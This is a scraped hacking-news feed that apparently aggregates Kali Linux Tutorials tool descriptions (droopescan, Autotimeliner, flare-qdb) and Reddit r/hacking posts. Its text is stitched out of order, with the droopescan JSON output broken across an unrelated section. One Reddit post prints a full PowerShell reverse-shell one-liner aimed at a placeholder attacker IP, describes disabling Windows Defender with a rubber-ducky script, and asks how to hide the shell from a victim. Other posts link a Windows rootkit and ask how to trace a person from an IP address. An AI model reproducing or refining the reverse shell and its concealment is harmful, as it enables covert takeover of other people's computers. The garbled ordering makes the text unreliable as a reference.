Kali Linux Tutorials
Droopescan : A Plugin-Based Scanner That Aids Security Researchers

Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS.

Usage of droopescan for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Please note that while droopescan outputs the most CMS likely version installed on the remote host, any correlation between version numbers and vulnerabilities must be done manually by the user.

Supported CMS are:

* SilverStripe
* WordPress
* Drupal

Partial functionality for:

* Joomla (version enumeration and interesting URLs only)
* Moodle (plugin & theme very limited, watch out)

computer:~/droopescan$ droopescan scan drupal -u http://example.org/ -t 32
[+] No themes found.
[+] Possible interesting urls found:
Default changelog file – https://www.example.org/CHANGELOG.txt
Default admin – https://www.example.org/user/login
[+] Possible version(s):
7.34
[+] Plugins found:
views https://www.example.org/sites/all/modules/views/
https://www.example.org/sites/all/modules/views/README.txt
https://www.example.org/sites/all/modules/views/LICENSE.txt
token https://www.example.org/sites/all/modules/token/
https://www.example.org/sites/all/modules/token/README.txt
https://www.example.org/sites/all/modules/token/LICENSE.txt
pathauto https://www.example.org/sites/all/modules/pathauto/
https://www.example.org/sites/all/modules/pathauto/README.txt
https://www.example.org/sites/all/modules/pathauto/LICENSE.txt
https://www.example.org/sites/all/modules/pathauto/API.txt
libraries https://www.example.org/sites/all/modules/libraries/
https://www.example.org/sites/all/modules/libraries/CHANGELOG.txt
https://www.example.org/sites/all/modules/libraries/README.txt
https://www.example.org/sites/all/modules/libraries/LICENSE.txt
entity https://www.example.org/sites/all/modules/entity/
https://www.example.org/sites/all/modules/entity/README.txt
https://www.example.org/sites/all/modules/entity/LICENSE.txt
google_analytics https://www.example.org/sites/all/modules/google_analytics/
https://www.example.org/sites/all/modules/google_analytics/README.txt
https://www.example.org/sites/all/modules/google_analytics/LICENSE.txt
ctools https://www.example.org/sites/all/modules/ctools/
https://www.example.org/sites/all/modules/ctools/CHANGELOG.txt
https://www.example.org/sites/all/modules/ctools/LICENSE.txt
https://www.example.org/sites/all/modules/ctools/API.txt
features https://www.example.org/sites/all/modules/features/
https://www.example.org/sites/all/modules/features/CHANGELOG.txt
https://www.example.org/sites/all/modules/features/README.txt
https://www.example.org/sites/all/modules/features/LICENSE.txt
https://www.example.org/sites/all/modules/features/API.txt
[… snip for README …]
[+] Scan finished (0:04:59.502427 elapsed)

You can get a full list of options by running:

droopescan –help
droopescan scan –help Why not X?Because droopescan:

* is fast
* is stable
* is up to date
* allows simultaneous scanning of multiple sites
* is 100% python InstallationWith pip (recommended)Installation is easy using pip:

apt-get install python-pip
pip install droopescan From sourcesManual installation is as follows:

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan –help

The master branch corresponds to the latest release (what is in pypi). Development branch is unstable and all pull requests must be made against it. BlackArchBlackArch package installation (maintained by a third party):

sudo pacman -S droopescan DockerYou can build a docker i[...]

___________________________
@hacking_Attack
@Hacking_Video

mage and run droopescan from Docker:

git clone https://github.com/droope/droopescan.git
cd droopescan
docker build -t droope/droopescan .
display help
docker run –rm droope/droopescan
example scanning a drupal site
docker run –rm droope/droopescan scan drupal -u https://drupal.example.com FeaturesScan typesDroopescan aims to be the most accurate by default, while not overloading the target server due to excessive concurrent requests. Due to this, by default, a large number of requests will be made with four threads; change these settings by using the --numberand --threadsarguments respectively.

This tool is able to perform four kinds of tests. By default all tests are ran, but you can specify one of the following with the -eor --enumerateflag:

* p — Plugin checks: Performs several thousand HTTP requests and returns a listing of all plugins found to be installed in the target host.
* t — Theme checks: As above, but for themes.
* v — Version checks: Downloads several files and, based on the checksums of these files, returns a list of all possible versions.
* i — Interesting url checks: Checks for interesting urls (admin panels, readme files, etc.) Target specificationYou can specify a particular host to scan by passing the -uor --urlparameter:

droopescan scan drupal -u example.org

You can also omit the drupalargument. This will trigger “CMS identification”, like so:

droopescan scan -u example.org

Multiple URLs may be scanned utilising the -Uor --url-fileparameter. This parameter should be set to the path of a file which contains a list of URLs.

droopescan scan drupal -U list_of_urls.txt

The drupalparameter may also be ommited in this example. For each site, it will make several GET requests in order to perform CMS identification, and if the site is deemed to be a supported CMS, it is scanned and added to the output list. This can be useful, for example, to run droopescanacross all your organisation’s sites.

droopescan scan -U list_of_urls.txt

The code block below contains an example list of URLs, one per line:

http://localhost/drupal/6.0/
http://localhost/drupal/6.1/
http://localhost/drupal/6.10/
http://localhost/drupal/6.11/
http://localhost/drupal/6.12/

A file containing URLs and a value to override the default host header with separated by tabs or spaces is also OK for URL files. This can be handy when conducting a scan through a large range of hosts and you want to prevent unnecessary DNS queries. To clarify, an example below:

192.168.1.1 example.org
http://192.168.1.1/ example.org
http://192.168.1.2/drupal/ example.org

It is quite tempting to test whether the scanner works for a particular CMS by scanning the official site (e.g. wordpress.orgfor wordpress), but the official sites rarely run vainilla installations of their respective CMS or do unorthodox things. For example, wordpress.orgruns the bleeding edge version of wordpress, which will not be identified as wordpress by droopescanat all because the checksums do not match any known wordpress version. AuthenticationThe application fully supports .netrcfiles and http_proxyenvironment variables.

Use a .netrc file for basic authentication. An example netrc (a file named .netrcplaced in your root home directory) file could look as follows:

machine secret.google.com
login admin@google.com
password Winter01 OutputThis application supports both “standard output”, meant for human consumption, or JSON, which is more suitable for machine consumption. This output is stable between major versions.

This can be controlled with the --outputflag. Some sample JSON output would look as follows (minus the excessive whitespace):

“themes”: {
“i[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Autotimeliner : Automagically Extract Forensic Timeline From Volatile Memory Dump

Autotimeliner tool will automagically extract forensic timeline from volatile memory dumps.

Requirements

* Python 3
* Volatility
* mactime (from SleuthKit)

(Developed and tested on Debian 9.6 with Volatility 2.6-1 and sleuthkit 4.4.0-5)

How it works

AutoTimeline automates this workflow:

* Identify correct volatility profile for the memory image.
* Runs the timeliner plugin against volatile memory dump using volatility.
* Runs the mftparser volatility plugin, in order to extract $MFT from memory and generate a bodyfile.
* Runs the shellbags volatility plugin in order to generate a bodyfile of the user activity. (suggested by Matteo Cantoni).
* Merges the timeliner, mftparser and shellbags output files into a single bodyfile.
* Sorts and filters the bodyfile using mactime and exports data as CSV.

Installation

Simply clone the GitHub repository:

git clone https://github.com/andreafortuna/autotimeliner.git

Usage

autotimeline.py [-h] -f IMAGEFILE [-t TIMEFRAME] [-p CUSTOMPROFILE]
optional arguments:
-h, –help show this help message and exit
-f IMAGEFILE, –imagefile IMAGEFILE
Memory dump file
-t TIMEFRAME, –timeframe TIMEFRAME
Timeframe used to filter the timeline (YYYY-MM-DD
..YYYY-MM-DD)
-p CUSTOMPROFILE, –customprofile CUSTOMPROFILE
Jump image identification and use a custom memory
profile

Examples

Extract timeline from TargetServerMemory.raw, limited to a timeframe from 2018-10-17 to 2018-10-21:

./autotimeline.py -f TargetServerMemory.raw -t 2018-10-17..2018-10-21

Extract timeline from all images in current directory, limited to a timeframe from 2018-10-17 to 2018-10-21:

./autotimeline.py -f ./*.raw -t 2018-10-17..2018-10-21

Extract timeline from TargetServerMemory.raw, using a custom memory profile:

./autotimeline.py -f TargetServerMemory.raw -p Win2008R2SP1x64

All timelines will be saved as $ORIGINALFILENAME-timeline.csv.
Download

___________________________
@hacking_Attack
@Hacking_Video

s_empty”: true,
“finds”: [
]
},
“interesting urls”: {
“is_empty”: false,
“finds”: [
{
“url”: “https:\/\/www.drupal.org\/CHANGELOG.txt”,
“description”: “Default changelog file.”
},
{
“url”: “https:\/\/www.drupal.org\/user\/login”,
“description”: “Default admin.”
}
]
},
“version”: {
“is_empty”: false,
“finds”: [
“7.29”,
“7.30”,
“7.31”
]
},
“plugins”: {
“is_empty”: false,
“finds”: [
{
“url”: “https:\/\/www.drupal.org\/sites\/all\/modules\/views\/”,
“name”: “views”
},
[…snip…]
]
}
}

Some attributes might be missing from the JSON object if parts of the scan are not ran.

This is how multi-site output looks like; each line contains a valid JSON object as shown above.

$ droopescan scan drupal -U six_and_above.txt -e v
{“host”: “http://localhost/drupal-7.6/”, “version”: {“is_empty”: false, “finds”: [“7.6”]}}
{“host”: “http://localhost/drupal-7.7/”, “version”: {“is_empty”: false, “finds”: [“7.7”]}}
{“host”: “http://localhost/drupal-7.8/”, “version”: {“is_empty”: false, “finds”: [“7.8”]}}
{“host”: “http://localhost/drupal-7.9/”, “version”: {“is_empty”: false, “finds”: [“7.9”]}}
{“host”: “http://localhost/drupal-7.10/”, “version”: {“is_empty”: false, “finds”: [“7.10”]}}
{“host”: “http://localhost/drupal-7.11/”, “version”: {“is_empty”: false, “finds”: [“7.11”]}}
{“host”: “http://localhost/drupal-7.12/”, “version”: {“is_empty”: false, “finds”: [“7.12”]}}
{“host”: “http://localhost/drupal-7.13/”, “version”: {“is_empty”: false, “finds”: [“7.13”]}}
{“host”: “http://localhost/drupal-7.14/”, “version”: {“is_empty”: false, “finds”: [“7.14”]}}
{“host”: “http://localhost/drupal-7.15/”, “version”: {“is_empty”: false, “finds”: [“7.15”]}}
{“host”: “http://localhost/drupal-7.16/”, “version”: {“is_empty”: false, “finds”: [“7.16”]}}
{“host”: “http://localhost/drupal-7.17/”, “version”: {“is_empty”: false, “finds”: [“7.17”]}}
{“host”: “http://localhost/drupal-7.18/”, “version”: {“is_empty”: false, “finds”: [“7.18”]}}
{“host”: “http://localhost/drupal-7.19/”, “version”: {“is_empty”: false, “finds”: [“7.19”]}}
{“host”: “http://localhost/drupal-7.20/”, “version”: {“is_empty”: false, “finds”: [“7.20”]}}
{“host”: “http://localhost/drupal-7.21/”, “version”: {“is_empty”: false, “finds”: [“7.21”]}}
{“host”: “http://localhost/drupal-7.22/”, “version”: {“is_empty”: false, “finds”: [“7.22”]}}
{“host”: “http://localhost/drupal-7.23/”, “version”: {“is_empty”: false, “finds”: [“7.23”]}}
{“host”: “http://localhost/drupal-7.24/”, “version”: {“is_empty”: false, “finds”: [“7.24”]}}
{“host”: “http://localhost/drupal-7.25/”, “version”: {“is_empty”: false, “finds”: [“7.25”]}}
{“host”: “http://localhost/drupal-7.26/”, “version”: {“is_empty”: false, “finds”: [“7.26”]}}
{“host”: “http://localhost/drupal-7.27/”, “version”: {“is_empty”: false, “finds”: [“7.27”]}}
{“host”: “http://localhost/drupal-7.28/”, “version”: {“is_empty”: false, “finds”: [“7.28”]}}
{“host”: “http://localhost/drupal-7.29/”, “version”: {“is_empty”: false, “finds”: [“7.29”]}}
{“host”: “http://localhost/drupal-7.30/”, “version”: {“is_empty”: false, “finds”: [“7.30”]}}
{“host”: “http://localhost/drupal-7.31/”, “version”: {“is_empty”: false, “finds”: [“7.31”]}}
{“host”: “http://localhost/drupal-7.32/”, “version”: {“is_empty”: false, “finds”: [“7.32”]}}
{“host”: “http://localhost/drupal-7.33/”, “version”: {“is_empty”: false, “finds”: [“7.33”]}}
{“host”: “http://localhost/drupal-7.34/”, “version”: {“is_empty”: false, “finds”: [“7.34”]}} DebugWhen things are not going exactly your way, you can check why by using the --debug-requestscommand.

Some output might look like this:

[head] http://localhost/framework/… 403
[head] http://localhost/cms/css/layout.css… 404
[head] http://localhost/framework/css/UploadField.css… 200
[head] http://localhost/misc/test/error/404/ispresent.html… 404
[head] http://localhost/widgetextensions/… 404
[head] http://localhost/orbit/… 404
[head] http://localhost/sitemap/… 404
[hea[...]

___________________________
@hacking_Attack
@Hacking_Video

d] http://localhost/simplestspam/… 404
[head] http://localhost/ecommerce_modifier_example/… 404
[head] http://localhost/silverstripe-hashpath/… 404
[head] http://localhost/timeline/… 404
[head] http://localhost/silverstripe-hiddenfields/… 404
[head] http://localhost/addressable/… 404
[head] http://localhost/silverstripe-description/… 404
[+] No plugins found.
[+] Scan finished (0:00:00.058422 elapsed) StatsYou can get an up to date report on the capabilities of the scanner by running the following command

droopescan stats

Some sample output might look as follows:

Functionality available for ‘drupal’:

* Enumerate plugins (XXXX plugins.)
* Enumerate themes (XXXX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X-alphaXX, X.XX, X.XX.)
Functionality available for ‘joomla’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version XX.X, X.X.X, X.X.XX.rcX.)
Functionality available for ‘wordpress’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X, X.X.X, X.X.X.)
Functionality available for ‘silverstripe’:
* Enumerate plugins (XXX plugins.)
* Enumerate themes (XX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.XX, X.X.XX, X.X.XX.) Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Flare-Qdb : Command-line And Python Debugger For Instrumenting And Modifying Native Software

Flare-qdb is a command-line and scriptable Python-based tool for evaluating and manipulating native program state. It uses Vivisect to set a breakpoint on each queried instruction and executes Python code when hit.

flare-qdb frees the analyst to take a nonlinear approach to dynamic analysis that accommodates the questions that arise in the course of normal debugging and static analysis. flare-qdb answers these questions without requiring the analyst to manually set up an interactive debugger session and navigate the program counter to that code location.

Here are some examples of spot questions flare-qdb can answer:

* Does eax always equal this value at this point?
* What was eax equal to before this branch?
* What values will this string assume throughout this loop?
* At the first iteration of the inner loop, what base address is used?
* Is the program even going to hit this logic?
* Which code executes first?
* Does the number of loop iterations depend on the value of argv[1]?
* Can I alter the command-line arguments to avoid this condition?

flare-qdb can also be used to facilitate automated, repeatable manipulation of program execution. Here are some examples of useful applications:

* Executing a string decoder with different arguments to quickly extract all the strings used by a malware sample.
* Overriding the arguments to Sleep()to permit rapid iterative testing of a custom command and control (C2) server.
* Telling a privilege escalation tool that its integrity level is 0x1000 (MANDATORY_LOW_RID) in order to induce it to execute its exploit code.
* Repeatably automating the unpacking of a packer that jumps into one or more non-deterministic heap locations.

flare-qdb accepts multiple queries that take the form of a program counter or Vivisect expression paired with some Python text to evaluate in the flare-qdb scripting environment. Vivisect expressions can be used to specify simple constant program counter values like "0x401000", symbolic expressions like "kernel32.Sleep", and more. Vivisect expressions can also incorporate register and memory state to articulate sophisticated conditions, such as "not eax or (( edx > 3) and (poi(ebp-8) < 5))".

The command line argument format for this is:

-at

flare-qdb also supports conditional evaluation based on the truth value of a Vivisect expression:

-at-if

lare-qdb provides several builtins for convenient debugging, which are available both from the command line and as methods of its Qdbclass.

flare-qdb has been tested primarily on Windows, but works on Linux. Unfortunately, the Darwin port of Vivisect’s vtrace.Traceclass is incomplete, so flare-qdb does not support OSX.

Example Scripts

flare-qdb comes with De-DOSfuscator, which is a tool for decoding obfuscated batch files by running them. Details can be found in the De-DOSfuscator Guide or by reading the blog Cmd and Conquer: De-DOSfuscation with flare-qdb.
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Los 11 nuevos controles de la ISO 27002:2022

https://cdn-images-1.medium.com/max/1572/0*k4BDawsT7y7R_CDw
PUBLICADO EN 24 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacker attack on Italian railway company, ransom in Bitcoin

https://external-preview.redd.it/rifg5jKRq9OR0H4DRZ4n3lZf3-DwYLF2ofvYOu78oQg.jpg?width=640&crop=smart&auto=webp&s=4d7eed7a7403812f88b23c607575efe95f553da9 submitted by /u/bitdex
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Windows 10/11 x64 Ring 0 Rootkit

Hi, a while ago I’ve created rootkit. Maybe someone can find it useful :) My goal is to soon add function that is able to hide TCP/UDP ports and IPs.

https://github.com/XaFF-XaFF/Cronos-Rootkit

submitted by /u/XaFF-XaFF
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Community Channels

Hi everybody, I have made it my goal this year to get more involved with the InfoSec comms and stop lurking so much. Does anybody have any cool discord or telegram channels they like. Or just any other general place they like hooking into the community that isn't Reddit and Twitter?

submitted by /u/cyber_patriot517
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Lapsus$: Oxford teen accused of being multi-millionaire cyber-criminal

https://external-preview.redd.it/GitBdG2utL1PgrMRTib6oO3ZFSTh3iiYLKBzprGlP_Y.jpg?width=640&crop=smart&auto=webp&s=85b6f8cc0f9cc5d44eb0c8dce66fa24bf0b0ec2a submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
U.K. Police Arrest Seven Young People in Connection With Hacking

https://external-preview.redd.it/R-cowwDa1H6UMgRbZdZoZpi3zFhc8c2vh7pOBi8KQZc.jpg?width=640&crop=smart&auto=webp&s=41f5abf98f82c74f687ca8f0b7368444f69df463 submitted by /u/afternooncrypto
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can I hide my powershell reverse shell?

Hi, recently I learned about reverse shells and I manage to successfully got both Windows and Linux reverse shells to work which got me very excited. I then went on to make my own powershell rubber ducky script that disables Windows Defender and runs the powershell reverse shell one-liner:

$client = New-Object System.Net.Sockets.TCPClient("[ip address]",port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This works great and all but it seems like the powershell window needs to be open for the connection to stay open. Currently, the best I can do right now it minimize the powershell window but its still pretty obvious even to the normal user.

I thought of 2 possibilities:

1) Maybe there is a way to run a powershell command in the background.

2) Maybe there is a way to form another type of hidden reverse shell (?) after getting a reverse shell in the first place with the one-liner above.

I could not find any solutions for my scenario so if you guys have any ideas please state below, thanks.

Attacker machine: Manjaro Linux

Victim box: Windows 10 home

submitted by /u/Super_Tsumu
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to get someones personal data through the ip adress?

I just got scammed on ebay and i want to know who he is, so i can send him his stuff and he maybe get scared and send me my money back.

submitted by /u/TiloBoB2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video